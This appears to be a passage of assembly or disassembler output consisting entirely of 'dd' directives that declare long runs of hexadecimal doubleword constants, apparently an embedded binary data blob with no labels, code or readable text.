		dd 0D400C123h, 2D8FCC0Ch, 63B31Bh, 0A03F9026h, 0E20BEAACh
		dd 174E711Ch, 0B6832500h, 0B8672498h, 0A4161F34h, 0BA9C80D1h
		dd 2F5371Eh, 1300C3FEh,	9B3BE5CBh, 0FED5F8h, 0F916C2F1h
		dd 0DF67277Eh, 78AE382Eh, 0E7DA8500h, 50550475h, 706BF8Ch
		dd 0B8AC0B26h, 0A16870D7h, 300087DEh, 9E74C45Ch, 46AC9h
		dd 0E7F3330Fh, 92D8DDBh, 48D7B11Ch, 0C3664200h,	1D6507FCh
		dd 940E980Fh, 5E00D62Ah, 49AA1668h, 24005DA2h, 0B20B3CF3h
		dd 3707727h, 0C10C53E7h, 0BE004894h, 527E6783h,	984C5C85h
		dd 785D2CC0h, 1ED13D4h,	1FB565BCh, 0E0B6D9EBh, 1900C19Ch
		dd 0ACB46F09h, 1AB7FCDh, 0DE883195h, 0F4E4BE12h, 0A709BD45h
		dd 812839E0h, 9ECCA190h, 0ACB080E6h, 3869648h, 162F9878h
		dd 2BA9B52Dh, 0CD21F81Bh, 8D000772h, 0A369FC7h,	0E66B84h
		dd 0E16F2EFAh, 2C660CA0h, 8F98A36Eh, 0AFE021F4h, 4AE0F6E8h
		dd 69B01C0h, 0C4D337C8h, 3D6A7054h, 2260A200h, 88B18C7Ah
		dd 7BBE1CBDh, 4304C1B7h, 702CAC29h, 0E9005DE3h,	32FAAA53h
		dd 791A776h, 0CF2420Eh,	31154385h, 0D2823CC0h, 51A9C605h
		dd 0BC000667h, 0EBCFD374h, 964400AFh, 0E55E5224h, 2E1DC8B6h
		dd 6FC1F7A7h, 29DC3465h, 0A548E8h, 0BDFF8C02h, 0F8C2A3FDh
		dd 885ABF14h, 3C5801C0h, 643B9B76h, 3BD1FB30h, 99808AE4h
		dd 750130E5h, 7200DE2Eh, 0D0AE8DF4h, 794BDD6h, 0BF5351F2h
		dd 7BB6D32Ch, 0C30C27C0h, 58EA1DF6h, 0CABCBB50h, 90010E6h
		dd 0E07DA056h, 317DD85h, 0F65BAFD1h, 0A8902A13h, 0D707761Fh
		dd 868A3CBAh, 22F5E06Fh, 94DE7977h, 8D9CC0C0h, 356FFEC0h
		dd 575A01Ch, 48C822Fh, 0E10D14CDh, 533880A6h, 0F15CF98Eh
		dd 0EA0F7C6Ch, 0A041F5E8h, 9E845A4Eh, 6D8B015Eh, 0EE20FD29h
		dd 39D5E425h, 5101967Bh, 0BADC86A2h, 2C2298h, 4BB57602h
		dd 0F441EC67h, 0D9D06106h, 6460F262h, 0BA48E24Eh, 869E0040h
		dd 382FF72Bh, 5C5A08CDh, 0DC00AC35h, 884B40A6h,	0F23000C9h
		dd 135EC0E3h, 3A741E9Bh, 54097C01h, 0B5582597h,	0EA0E1C38h
		dd 7B402056h, 72F45707h, 470DA60Ch, 6B2060h, 0C387719Bh
		dd 9AA7EF5Fh, 808EC038h, 0F03E4B22h, 7515DB48h,	0B3E503AAh
		dd 77BB457Dh, 673C6600h, 0BA736281h, 22A107BFh,	50DFA396h
		dd 0D1FEE4B4h, 38B24100h, 0D55B2C58h, 0C0570A0Bh, 0EF47633h
		dd 4AE12D07h, 0F0F76359h, 2B00EAC7h, 37FAE450h,	50306DCCh
		dd 6BDF74h, 6F1F845Ch, 170E5873h, 4A725500h, 34AA1351h
		dd 0BF6A0030h, 90B17C82h, 7900AEB9h, 73C69465h,	90BF570h
		dd 0BE7F7D81h, 4B108CA0h, 0E10083EEh, 404EBFB2h, 0F8A91967h
		dd 4F8001Bh, 2B9AECE3h,	260295C9h, 0D433DDFCh, 0F8A8E890h
		dd 629E2CCAh, 6B6900E0h, 81893A05h, 0EA66F03h, 635B86h
		dd 800472DCh, 165DA1C5h, 73095105h, 94C285DDh, 0E050A2h
		dd 0FBC56FECh, 0B289A4CDh, 2F047700h, 7EAF2AFEh, 5C89095h
		dd 398E80FDh, 830C0E3h,	961CCDEDh, 0F7C9870h, 40410F0Ch
		dd 3F4888FAh, 5CA548E5h, 39E25F00h, 0D2E73646h,	6374A901h
		dd 9FBE2C03h, 3F7BCCh, 0F32394AEh, 3D6BE5A3h, 2EFB3E18h
		dd 4E7639h, 7CB1AAE7h, 5EA9095Bh, 0DC7BCC28h, 3D008C7Ah
		dd 75291302h, 786368h, 2EC35FBAh, 735C8F54h, 37649D00h
		dd 0E17BBB92h, 6290E76h, 28C0EDD0h, 43EBB59Eh, 13F3AE0Eh
		dd 400312C3h, 0A8BF41C2h, 904D0DC8h, 0E04303E0h, 8D3FD921h
		dd 39F84800h, 0CC9BF368h, 0E190015Dh, 872D134Eh, 0FE20808Ch
		dd 148356C1h, 72958F1h,	0AFDA5400h, 69E768BEh, 0DE280FF8h
		dd 6C09E0E4h, 215DC58Eh, 0B3393390h, 0AA59C0h, 4E14CDBh
		dd 26BA6947h, 42D90D00h, 0C72A2922h, 0D80A5807h, 2C625900h
		dd 1F3D827Eh, 0E8E84Ch,	952D9F43h, 1B372F6Ah, 61B7B4F0h
		dd 993C84E8h, 0A10BE090h, 10D18E3h, 0DB1D037Dh,	0CA05EC3Ch
		dd 0C1EAF3AFh, 28752C34h, 865DA0ECh, 0C870088h,	5BBCD08Eh
		dd 0BE004FC6h, 78732374h, 0B8F191h, 51476EC0h, 0CB27384Ch
		dd 5322771Dh, 0FD9CF6C0h, 640D6FCh, 0BC29E169h,	8B27A066h
		dd 641421BBh, 0A880A62Ch, 0BA6F678Eh, 0E004069h, 207F6AA8h
		dd 0D344F9h, 7766373Bh,	0CD09E1BCh, 0FC81A003h,	0E84AFFACh
		dd 82DC31h, 0CF65A1B8h,	0B034D8D9h, 0A30A25h, 0DA410798h
		dd 0B5E83DCAh, 3E5F6B83h, 2950F70Bh, 110183A8h,	0E16AC6FAh
		dd 7468764Ch, 4090E62Eh, 3BD9B70h, 0F54D1300h, 91EFEE56h
		dd 181C00B1h, 67841ED6h, 23001226h, 0D9F25A1Bh,	76791913h
		dd 0EDF80045h, 9302F62Ch, 1F12AC72h, 20075A57h,	78406466h
		dd 0C36B952h, 186837E0h, 9300AFE0h, 5D3E6DFEh, 0E38180h
		dd 926C4A06h, 7A6BE9DEh, 942C9100h, 3C798B7Dh, 0E83E02B9h
		dd 0DFD00242h, 0E980F080h, 96004921h, 0D70E9F79h, 0CE5F2Bh
		dd 882A2712h, 32EBBE53h, 3797F600h, 5E4E2583h, 776400B5h
		dd 0C3F7992Bh, 310051CEh, 8EA5CCF2h, 1C107C2Eh,	6C1673B0h
		dd 0A84A0075h, 6C06D1B3h, 3EB5905h, 89C097C2h, 0F276BD10h
		dd 4FCB0FB8h, 1CEE1AE7h, 1F38E180h, 993B864Bh, 5A0C077Fh
		dd 0F080C866h, 1C00806h, 0DDAB549Ah, 0D9BA4EA4h, 734080CAh
		dd 0FFBD7EF1h, 998F0074h, 0BAB71195h, 9D00B475h, 7DB630AFh
		dd 2873E14Fh, 0EC5C3Ch,	59DCC12Dh, 7190E8D1h, 1F705660h
		dd 7BF1E537h, 0A3C900D8h, 61A78114h, 6F17D502h,	21003347h
		dd 20BF1FDCh, 835D03ACh, 992A9C3Fh, 0F2F4C1E8h,	0B1A9EE06h
		dd 0FE6859EAh, 5E354458h, 6E98B701h, 0B2D2486Ah, 0FE25ECh
		dd 0DACE93ADh, 2FDC8E4Dh, 0EC9809FAh, 54C6380Fh, 0C300D3B4h
		dd 0B60B9C3Eh, 72F90381h, 0E4BC5E4Dh, 9BFA1C90h, 83618C0Bh
		dd 0FF470024h, 2D3D63h,	936C871Eh, 538FC786h, 3B994200h
		dd 658A6A7Dh, 87DA2835h, 0E13800E0h, 908E546Ch,	0F31C96Fh
		dd 16112052h, 0EF248BD8h, 7E62E2E8h, 0F383189Bh, 6C2EA005h
		dd 79A69100h, 0B11F20CBh, 0EDA81DE9h, 0A50B071Ah, 7440F045h
		dd 0DC000F01h, 0EFDEF4E6h, 71E188h, 67465B2Bh, 0D7E735F6h
		dd 0D915C900h, 424B9E3Dh, 0FB4C0010h, 0B8018EBBh, 7D18635Fh
		dd 34583C8Dh, 39DB0071h, 14AC18F9h, 32037851h, 48AF1989h
		dd 80BA00ABh, 37C42A71h, 0D60E5006h, 0A0CC23AEh, 9F0EEB20h
		dd 157B0067h, 0DC3AFEF5h, 4C0047A7h, 93CF9887h,	0E8E52Eh
		dd 65F76C0Bh, 0DACC5B59h, 3A5C0658h, 3270007Ah,	0D6772F0Fh
		dd 0A4441EB2h, 54007C90h, 0BE1A5895h, 0E090E5E1h, 7F1DC178h
		dd 0FB8061CBh, 0DB5AF298h
		dd 9C9026D3h, 0D25600C9h, 457A443Fh, 97CE8FA0h,	0B3850600h
		dd 0DCBB59D8h, 0B7241CFFh, 284E40DAh, 16A635CBh, 2B382000h
		dd 69892336h, 3F9A008Dh, 0C347E5BDh, 517842DAh,	30F59D00h
		dd 0C67CB717h, 0B45E5059h, 685F001Bh, 498401D3h, 0E00B3707h
		dd 0D0434C85h, 4DB08005h, 50871D2h, 130DFE8Ch, 1A8A295h
		dd 86B53641h, 96FC99BDh, 18B4F6h, 9081779Eh, 4D05C350h
		dd 0CF62C520h, 22E00480h, 41FA011Fh, 0B0359EC2h, 0E4C89FE8h
		dd 6026159Ch, 170B6200h, 0B6CFE48h, 0C95BF03Bh,	3CE65422h
		dd 55A484C8h, 0C2C72805h, 54E0298Dh, 5B9500AAh,	0F917F40Dh
		dd 6CF16E23h, 87E00018h, 5424FA2Dh, 180558B6h, 4ECB0400h
		dd 0B768060h, 0A5B77E16h, 164D3849h, 0A0C5006Ch, 0FC5A9527h
		dd 0E800F87Ah, 0B68357C6h, 174387h, 807B8586h, 980912CDh
		dd 78C58901h, 5E02BDCAh, 3503F8h, 44500A76h, 4338B9D7h
		dd 28227558h, 1100F853h, 898E2827h, 5CC4E5CEh, 460706Eh
		dd 718DD390h, 9D4B9C00h, 9E5E0E55h, 3E1B0085h, 740DCBCAh
		dd 0D409174Ah, 806E469Fh, 274C23C9h, 0E4D848C8h, 9B8E0101h
		dd 0D84575E3h, 1FF6C0EAh, 823F2600h, 0F8E65459h, 816617A1h
		dd 735500C1h, 78190FFEh, 0B39E2000h, 0F8A541CAh, 0BA6B05ABh
		dd 15FE9C2h, 0DC04B194h, 0E4818799h, 0FC51132Fh, 0BB7068F7h
		dd 9DFB0020h, 0F62C2BFh, 0E70027F2h, 98CEAB2Ch,	9BA467h
		dd 814D9E92h, 0DEC1A077h, 56B9F700h, 49B10FE9h,	0AFDF01B7h
		dd 935A6F44h, 6D45D0EBh, 199C7600h, 0F83DEF47h,	17ED0080h
		dd 6E8D50D6h, 79FAE862h, 9E78CF28h, 2A3E3F04h, 1C88D385h
		dd 72600AAh, 0BADA04EDh, 0BC00F8EEh, 0E4B03048h, 2E74EB0Dh
		dd 440816Fh, 0B6549A1h,	51EC19F3h, 0AAE530h, 937CD4CCh
		dd 0F2721924h, 6752AE09h, 95802347h, 0BB2896Ch,	6732020h
		dd 83C98CA0h, 69071039h, 25A45E9Dh, 3E83FA27h, 9014F063h
		dd 8BFB0068h, 3CD2F708h, 8600CE24h, 0A7213470h,	28FF957Ch
		dd 0F06DFBh, 743AADBFh,	67C920DDh, 0FA6120h, 0D66625F5h
		dd 4FB043D5h, 865F6200h, 1E4037B1h, 0FFE50078h,	0C3221D0Eh
		dd 5D178FD4h, 9B02527Ch, 4847DD6Ah, 140CCB4h, 0DAE6047Bh
		dd 9DAB08B6h, 3380B3F0h, 0A72F7C62h, 13E37D9Eh,	552AA89h
		dd 0C1932D96h, 38CD6CBEh, 0C82A00D8h, 0EC9EA41Eh, 71D00083h
		dd 3BCAFD47h, 0A03FA176h, 79978E4Bh, 0EC44E5A9h, 0C7EDF000h
		dd 0D112C6h, 0FAEE55B7h, 326B773Bh, 46B4F225h, 0B17490h
		dd 5F3A7482h, 0CD8C7E4Bh, 8198F93Ah, 8FBC6B6Ch,	0AF555B3h
		dd 5C8E71D8h, 0B90000E4h, 21D4E6A1h, 4C00D9C2h,	6FEF3509h
		dd 0E79778Eh, 0FB7578B4h, 0EA5F4740h, 203B26D0h, 3B0E739Fh
		dd 0E0B86768h, 82D604CCh, 7D1972E0h, 6E6261Fh, 0E381CEDh
		dd 409F714Ch, 1D82E395h, 6B3A03D2h, 2805246Ah, 0F18B4380h
		dd 1FFA47h, 0C91C2861h,	9F465076h, 0E4A99C03h, 0B08162C4h
		dd 7F36099Bh, 0ED474EEh, 2FF5BF51h, 33EDA60h, 0E302401Eh
		dd 89161BF6h, 2451C0B4h, 2CB81BFCh, 717EFA8Fh, 5AEC3A1Ch
		dd 5273B941h, 1883C88Ch, 398B5887h, 9E0A29F9h, 5601C010h
		dd 0D6685A92h, 0F8EEBEC8h, 77260034h, 90AD9621h, 61079FC0h
		dd 0A7893D0Eh, 0A1A019D0h, 0B8B20368h, 888643E7h, 0A608BA8h
		dd 0E1EBB900h, 916E64FCh, 309D49D8h, 4A48DF07h,	0E11FB05Bh
		dd 0D030E597h, 95911A3h, 800D6028h, 0A9E6913h, 25EB1A00h
		dd 61451DBBh, 4959604Ch, 85DFA5E1h, 4D8BC801h, 0BF3E65A8h
		dd 392652F0h, 0AC00EF5Bh, 5C825949h, 0E000FFF0h, 763FA998h
		dd 0A8BE2h, 25C20EA4h, 0C389F911h, 0C580DD00h, 15F4103Eh
		dd 409F005Ch, 205E8E3Fh, 0EB077129h, 815D1A27h,	72483650h
		dd 18F301AEh, 521757C2h, 7469C8CCh, 532E2800h, 0DD63C60Ah
		dd 7D8C0201h, 51F0EAF7h, 8D9DD6C0h, 0EDF86502h,	81D137F4h
		dd 80D73D2h, 1F028BFCh,	1E411CAFh, 0A82A43C1h, 0F00010EFh
		dd 3472CD84h, 2ADCCA1Dh, 1D846B86h, 98908Ah, 33A6DD0h
		dd 1F04C2BBh, 0DA6AC364h, 0FC41E0B0h, 22C10E1Bh, 0DB816B05h
		dd 50EF3EAEh, 4A202FD0h, 0E0367E6h, 0C5905A69h,	37A368h
		dd 0C8296460h, 0DD9D5C49h, 5F2897Ch, 0E50183FCh, 7A65278Bh
		dd 382408D3h, 0A92F055Ch, 8020881Fh, 8B18808Ch,	0B0B2A1E8h
		dd 0AA77C900h, 1FDAD24h, 0AF194C22h, 0E51D8A00h, 0A2D6464Ch
		dd 0B0D3B903h, 0F34885h, 337FBCC1h, 81F58906h, 2814F900h
		dd 26EB87CCh, 120E069Dh, 0D1E0D8EEh, 39DE4830h,	3AB018DAh
		dd 24802853h, 2029F75Eh, 0A85A96EEh, 0DBB44040h, 0A1AC14Ah
		dd 0E6A0E7B7h, 88A600F8h, 0A850F28Fh, 0E157C500h, 0A4FC0FBEh
		dd 0C439C067h, 1D63976Dh, 9259B03h, 0A3262BE0h,	2A21006Ah
		dd 61C49778h, 4A14FAC7h, 2ABAF6D4h, 640AE8D8h, 447CF318h
		dd 193A370Ch, 567400D5h, 69638DA1h, 100EE32h, 3533E951h
		dd 1ABDFFEh, 0EBA59C82h, 0A1B988F2h, 0B6715041h, 5D39BA18h
		dd 1EEF0A5Eh, 0D944A0DDh, 5B5C7F40h, 2700970Ah,	7215D6DFh
		dd 0AF6709h, 14FDA64Fh,	949EFFC4h, 18FA3800h, 6258376Fh
		dd 66930C49h, 0E249FBA4h, 0FAF158h, 0E3547489h,	1F986Eh
		dd 9F1CA5A2h, 4E971528h, 42188CA4h, 0E60871D9h,	0B16560DBh
		dd 663E3DDh, 0E01C11C0h, 6C0146h, 1E413325h, 3DB97148h
		dd 7D685Ch, 3AC1DD24h, 48E7E447h, 4E0D7C1Fh, 0C658FFE1h
		dd 0E77FB874h, 2E1E5A7h, 0EF6037D8h, 1E90C707h,	77B8E59Dh
		dd 0C31200BBh, 0F3C9222Bh, 0F7FC380Ah, 0C819C176h, 0BF292AA5h
		dd 0EF7D4D10h, 0F6BB1507h, 3C50070Eh, 707234h, 0D5474E9Ch
		dd 58E76E95h, 628C3E1Fh, 0A92B8780h, 0EC5DA8Eh,	6638F949h
		dd 0CDA74DC0h, 0FD00C691h, 0D82D892Eh, 0BD32D7h, 5C3A574Fh
		dd 52193BB0h, 1238E81Fh, 70C23340h, 7A17AE6h, 0ADC709E1h
		dd 0B3AC3087h, 9600065Ch, 316F1F46h, 777AB7h, 0B21729B1h
		dd 0E2AB1533h, 0D100EDF2h, 41F5B5C4h, 707B2FBBh, 0E1672E98h
		dd 0D44800F5h, 0BFBD2603h, 6CA2E503h, 0D02D9385h, 387E91F6h
		dd 0BB3872E4h, 0DE153B00h, 0A3BCF367h, 5351B20Eh, 90A85809h
		dd 7EC00CFAh, 66106CAEh, 0E9896800h, 0FBBA7AA5h, 0F74403E0h
		dd 2DC62165h, 3C6EF800h, 0A941025Dh, 8D0E1D53h,	8ED1C040h
		dd 6DA320FEh, 5FEA9F00h, 0BAFAE1F2h, 150D0003h,	0A74B27D1h
		dd 2C0018A6h, 74BF3B51h, 457865h, 93FD2841h, 0F3EFC54Eh
		dd 0CF79D600h, 873E172h, 2CA103ADh, 0C4E2B81Bh,	0D4422000h
		dd 0EA516FAAh, 78ACC549h, 2E9403CCh, 49F69783h,	0D300DA7Dh
		dd 0A4F95A01h, 12463Ah,	676D7B53h, 2158B626h, 405EEA24h
		dd 0B185D680h, 54A65h, 7B76AE02h, 0F9E6F4Dh, 7F26E839h
		dd 0F8E7630Ch, 47895Eh,	5532CD5Ch, 0EA1DF2ADh, 66959B00h
		dd 0BA157BE0h, 4AFE1816h, 3FD31065h, 8CED0800h,	212659AFh
		dd 5FA448DAh, 0FBF37E00h, 0B6420E2Ch, 3486F9E5h, 0F90A2158h
		dd 903AFE8Ch, 0C47DD500h, 0F2B40F9Ch, 1E440026h, 82F3F967h
		dd 9660FEBBh, 0CEC2AA8h, 78BC48A0h, 80EFD000h, 1668ED88h
		dd 2C8C4C00h, 38C1F369h, 5D700A9h, 91CB4903h, 7F0CCC2Dh
		dd 118A1C29h, 302600A5h, 28A99B01h, 0F670CB7h, 69802499h
		dd 0F50A2E2h, 12B378DEh, 80EC636Ah, 0AB9EF206h,	0E3006122h
		dd 0DA9D7B80h, 87D17h, 5246284h, 88D666D0h, 72578600h
		dd 0C7FF387Ah, 0AE782C50h
		dd 908F8EA8h, 3C199194h, 30E45829h, 240005A6h, 6947BDFh
		dd 0CA5548h, 6930AE4Ah,	0C05AA3E1h, 8C209000h, 0B6E45951h
		dd 42A730FBh, 8964EF40h, 1E49ED00h, 1B9C585Ah, 50DF0E3Ah
		dd 1360597Bh, 0B4D1F95Ch, 803F0138h, 0A6439BB1h, 0A1B5E9BBh
		dd 28087DCCh, 0C8486800h, 36818E82h, 41900FE3h,	0BC2B42h
		dd 6BFB50E0h, 262A317Ah, 3C008C98h, 134F96F8h, 48FE0A78h
		dd 6A004C3Eh, 6A984C8h,	3C01D67Eh, 2514F836h, 48D203D0h
		dd 0E529B64h, 0E5C9AF9Fh, 89498201h, 42A3E8F7h,	5A131800h
		dd 0E0D9599h, 87FD008Ch, 0C09B6966h, 0A118F98Ah, 0EC805CA9h
		dd 302C005Fh, 0C3B376E3h, 0C4A40B3Dh, 15805500h, 0F3F01ED8h
		dd 0BFE7258h, 0DF959BDh, 9DF9B80h, 0B874E262h, 0ECC25501h
		dd 380C2457h, 54B13864h, 44FE868h, 93E09D66h, 527C8019h
		dd 0A201FC44h, 608F5835h, 6AE8918Ch, 41E4A918h,	7B30F0DCh
		dd 0E997030Dh, 47252903h, 2CDD31A8h, 58218304h,	0F080C62Ah
		dd 0FE11D3A9h, 7B1E0028h, 7143E1DAh, 1F30A804h,	3CFCB05Fh
		dd 553D00E3h, 9ACF5A06h, 0FA015632h, 0DBC06DCBh, 0C020CC04h
		dd 0D1F75C77h, 0BABC5B2Ch, 13F75F7h, 4E8FF1E9h,	24E88B50h
		dd 4A0044F4h, 0F588974Bh, 4772A0Ch, 5D4DCE8Ch, 0E6B4807Eh
		dd 0B403FFE0h, 0E88D557Dh, 32A1F86Ch, 0C547342Dh, 0EA2680B8h
		dd 7D591AFAh, 42244C74h, 754022F4h, 0B12A01BFh,	0A3EBB64Ch
		dd 52D44A75h, 4067C898h, 0F9FA3FFDh, 8DABE0EBh,	0EB30C0Ah
		dd 8E45B86Dh, 3197C801h, 0A05127F8h, 94F9A6ECh,	0A4D869E1h
		dd 0FE3D268Eh, 88A18888h, 3B59B701h, 0BC2423F1h, 617A05AFh
		dd 408321F4h, 2582AC90h, 23005C75h, 11B1BA4Fh, 24F238h
		dd 260E066Eh, 68FFC7EEh, 53A5C001h, 3BC6D3Bh, 4C3F4h, 64C5D98Ah
		dd 0A10A9F45h, 398F649h, 99AE3D61h, 52111EE7h, 327B47C5h
		dd 0B721F03Eh, 1500C450h, 45874BB1h, 0D57CF3h, 0AB3D20A4h
		dd 227F163Ch, 664D9202h, 8950DCA6h, 8B108180h, 0CC40B4A3h
		dd 904778ABh, 9D210022h, 13AC5C62h, 3500F760h, 7A53F923h
		dd 3CFC4A8h, 57904337h,	0C0C4422Dh, 80AE6D90h, 0A292F902h
		dd 5A74B729h, 130C732Ch, 1513F32Dh, 0B138844Ch,	0C0B3BF83h
		dd 4A80A38Eh, 0E24E5F9h, 0F4039E35h, 88386B2Dh,	5C42FCh
		dd 10C4656Ah, 0D41EC206h, 6DC83C00h, 75E2BAF3h,	7A5B0068h
		dd 839C52FFh, 1500A856h, 0EAC31B6Ah, 88D224h, 0F161C016h
		dd 219976A4h, 11415701h, 0F45170C9h, 10FD34D1h,	0A1A0CCh
		dd 633A3B92h, 0E5EB4A22h, 8518CCE2h, 0F47690F9h, 1C28C036h
		dd 66F82D3Fh, 2FFB4000h, 507EFA80h, 61C9014Fh, 333FA641h
		dd 0E288C4BCh, 19DB050Ah, 2E03D8D8h, 88CE06B6h,	2AACD541h
		dd 0E943BD0h, 0B9C3F950h, 539BEC04h, 1E819C5Eh,	0F6AA8C35h
		dd 9096D024h, 23FA0098h, 879FFCA9h, 545927B1h, 487B00FCh
		dd 94832574h, 1BAE12E0h, 0C618C086h, 8CB88B90h,	3109F400h
		dd 0D00642EAh, 0E74090B9h, 0ED5C0F20h, 0E86A4980h, 0D7C5F16h
		dd 290EBA02h, 707140C0h, 59B90038h, 73BE98DEh, 0F1E35F4h
		dd 4B40D46Ch, 0D6E7179Dh, 909B0112h, 0B2530430h, 684520D7h
		dd 1E2FA612h, 34623C00h, 12CDFCDEh, 47650ACEh, 5AC7C8FCh
		dd 3F030054h, 0C072D99Fh, 67F6B900h, 7460FB2Eh,	87E607A0h
		dd 0B0FA4089h, 0CBFE2991h, 0D745B8C7h, 0F97AC3C0h, 13262780h
		dd 68300CE0h, 0B482D409h, 68964Dh, 0C32F46Eh, 8DD25A65h
		dd 0F21B9A00h, 0CEAE485Fh, 82030578h, 803F4EDAh, 9D6CA478h
		dd 5070470Eh, 89BF0919h, 0F3B28650h, 5BBB0059h,	37D6A55Ah
		dd 0E63E47BCh, 35900A3h, 0F8381F6h, 9BDC7E7Dh, 3953C468h
		dd 76080467h, 0F3802C56h, 9B5BFD5Fh, 5421C101h,	634ED0C7h
		dd 6D3C1EB4h, 3CE4209Dh, 6C025E13h, 0A055C106h,	646ACDC0h
		dd 85749B5Dh, 0C030AAAEh, 0CF7FF0BCh, 968CFC3Fh, 2000B05Bh
		dd 6E2CEFDEh, 7EE7003Dh, 0F47F4EEAh, 67007290h,	39832957h
		dd 0EBB144h, 0D24B9E6Dh, 586BF2Fh, 0FB94690Eh, 0A339A546h
		dd 6CCA1091h, 7AE53880h, 40D32999h, 89F0BC01h, 0A6D5BF5Dh
		dd 0BB9E2980h, 0C6F6AE0h, 0FD559400h, 1793CB68h, 263C0092h
		dd 9B819980h, 0CC034803h, 0BC04B076h, 2A19046h,	0FC7635h
		dd 42EFE960h, 2B385A4Dh, 0BC3CBD1Dh, 4C822F01h,	0C42018F6h
		dd 4515189Eh, 6339795Ah, 0D400DFF2h, 0FEEC3554h, 5CE8092Dh
		dd 6001823h, 553C4231h,	2901D94Eh, 61FCC310h, 0AC2423B8h
		dd 0D81A54E1h, 2B1C28A6h, 0F43F0FD4h, 64018691h, 81ED3035h
		dd 0CBAFF719h, 3CF4099Ch, 3D5CB80Fh, 0F58FD237h, 21A30C87h
		dd 1000D102h, 0DF72C770h, 1D8BE63Bh, 0C2C4130Ah, 0AFD0E810h
		dd 8C153AE0h, 3A6BD100h, 0D28033B6h, 237600C4h,	580643DAh
		dd 0E87D81A3h, 39784800h, 4CC2C7E0h, 7187A68h, 75B4C9BBh
		dd 80C9AAh, 0EF0BB377h,	6C9B9300h, 0BF87B24Dh, 0FDD700F4h
		dd 0FBF7082Bh, 71006F8Bh, 1B99C6DCh, 3DAE285Ah,	64009035h
		dd 0CAD4AF56h, 9F03B97Ch, 6684C4CEh, 9EBCB06Dh,	0CCBADCh
		dd 6BAA9318h, 7DD583CBh, 0F40789F6h, 6228F79Fh,	655DE260h
		dd 0AEE63E21h, 44DE196h, 0B06011A0h, 527A87D0h,	6F6CA800h
		dd 99A7F99Eh, 845E0038h, 0CE4CF07Eh, 1B003B44h,	1A62FFDBh
		dd 0A09F81h, 8F1324AEh,	0EE0C0F4Fh, 0A3AF0801h,	0A59D191Eh
		dd 17A31ECh, 5A36E08Ah,	0CCBCCC4Dh, 20FAB947h, 92188960h
		dd 0D6FDA1h, 6C279E2h, 215234F5h, 8E73BF00h, 50E8590Ah
		dd 0B9D81DF2h, 78BA9Bh,	48C2B145h, 3AA12615h, 0AF97DF00h
		dd 0ABEF577Bh, 88CE1D39h, 874F409Fh, 0C654F11Dh, 31531604h
		dd 0CC112E2h, 0FFD83022h, 3E77A5h, 0BFBD81ADh, 0ABCD3D26h
		dd 0D8A1100h, 0C259127Eh, 890A1F98h, 0C11C1CCCh, 1D441B48h
		dd 0B092ECD3h, 61E87400h, 41DC15CFh, 75060094h,	9B0CA272h
		dd 0D600E6ABh, 0DD551018h, 1A4BAE45h, 10B0120Dh, 43F8BE80h
		dd 0ED0018F2h, 98E1A994h, 0C0571DE6h, 0BE82F7Eh, 9375BD0Ah
		dd 37722201h, 5B3317D4h, 1ED90C0h, 0A94DF4Fh, 0EF209525h
		dd 48D91FF8h, 2F60E812h, 842C581Ch, 25EE0900h, 57ACF1h
		dd 0B8CE118Bh, 0CE936E7h, 0E514B00h, 5F71A276h,	0E51F00AFh
		dd 2F7A47D4h, 0D100928Bh, 0E2F26A4Dh, 16835CBh,	0BD8398B9h
		dd 0F81238C4h, 277CDEC0h, 21AD9000h, 0F737E3C1h, 4249028Ch
		dd 3EED12Bh, 0ACF63840h, 0A0E94425h, 0DF304FCh,	4CD70037h
		dd 0B943714Dh, 53D9408h, 0A64F0062h, 97F087FBh,	0E8FCB213h
		dd 0B2E80067h, 2C31602Fh, 0AC006B4Dh, 0F1507388h, 0BF8EEBh
		dd 0A80D4166h, 0F6B7BD94h, 0D1E1F203h, 0B03A4D1Dh, 1D8B952h
		dd 0A0865D15h, 2069B6E0h, 850210A4h, 5BE2595Eh,	1C50CAh
		dd 7FA80116h, 828B9162h, 0C8B30730h, 4DC9F139h,	7E4085h
		dd 61E4F4A2h, 6D523811h, 6EAD7400h, 2CDE3B5Ah, 0DDE800A7h
		dd 0E4FFB3C4h, 2407D50Bh, 1E27E59h, 6620D830h, 62833F8Eh
		dd 0C06C341Dh, 1F31F1B5h, 0BB00DDF6h, 473F2C25h, 7DF82ADh
		dd 0C9794CA3h, 75F5D3B0h, 50D2B5BAh, 2E6C879Dh,	13E7DF20h
		dd 0FB875CE1h, 1FF92426h, 42807CF5h, 6CB34BDCh,	0D300FEC1h
		dd 34071269h, 0B504A35h, 53A66698h, 24F1DE00h, 4F035BF6h
		dd 38C1442Ch, 343BA827h, 39F67Dh, 0A00A73F3h, 4645AC93h
		dd 7969EC01h, 0B58720E5h, 7DB6C0h, 0F82CD95Eh, 0DC32352Eh
		dd 7E42FA00h
		dd 0E527101Ch, 256379ADh, 1C809199h, 0D0CC7CDAh, 0CBAFF71h
		dd 62F5CA00h, 99D7537h,	13A0A864h, 283100CDh, 0A1BA99BFh
		dd 77008653h, 0F4F1F730h, 64EB88h, 2A9656D7h, 0DF3FA87Fh
		dd 0EC223C07h, 9EB653BEh, 0C8871270h, 231048Bh,	0F310A88Dh
		dd 0C741E759h, 20BC151Eh, 20B88200h, 1FB59FA9h,	0F5968B0Fh
		dd 37BF4090h, 12B07806h, 0A057772Eh, 0E7E4FE1Ch, 925EB1Fh
		dd 0C510C205h, 5954C6h,	47698590h, 1E094BE2h, 7FDA2600h
		dd 0F276E7BDh, 6F1030AAh, 0A5597C70h, 23ACE52Fh, 0D04557E4h
		dd 3E68F666h, 76746122h, 2FC9B470h, 0A06A34A0h,	3B00E609h
		dd 0F63D6126h, 2F3C289h, 10959FDDh, 7CD844D7h, 1A4BD607h
		dd 60FDD2AAh, 62169282h, 17C02ADEh, 6E005D2Fh, 2C4A6544h
		dd 54A88F6Ch, 482EDC9Ch, 0C10FE620h, 0A7A0570Ch, 51D0875h
		dd 7FC98300h, 0FE37CDA4h, 0B96F2F64h, 0DB2C5823h, 7CC494D8h
		dd 0D270E9E4h, 0FE046D7Dh, 0F26F3F1Ah, 0F0B5C3h, 0B25C40F1h
		dd 0A14222D0h, 105D2900h, 1F2848E0h, 6BDF00BAh,	1B9BD289h
		dd 4200D780h, 8F94A465h, 0E562B2h, 0D8ABD1D0h, 0C3BB8BC1h
		dd 0B8A2CE00h, 3DF31F2Fh, 855E01AEh, 0FFAE555h,	8B85202Bh
		dd 0AB02807Dh, 48F2C97Dh, 0E8C5088h, 92946D5Ah,	0F58180C0h
		dd 0FCFAAC98h, 312C0600h, 0E77423B9h, 0D3A001A6h, 0FF608318h
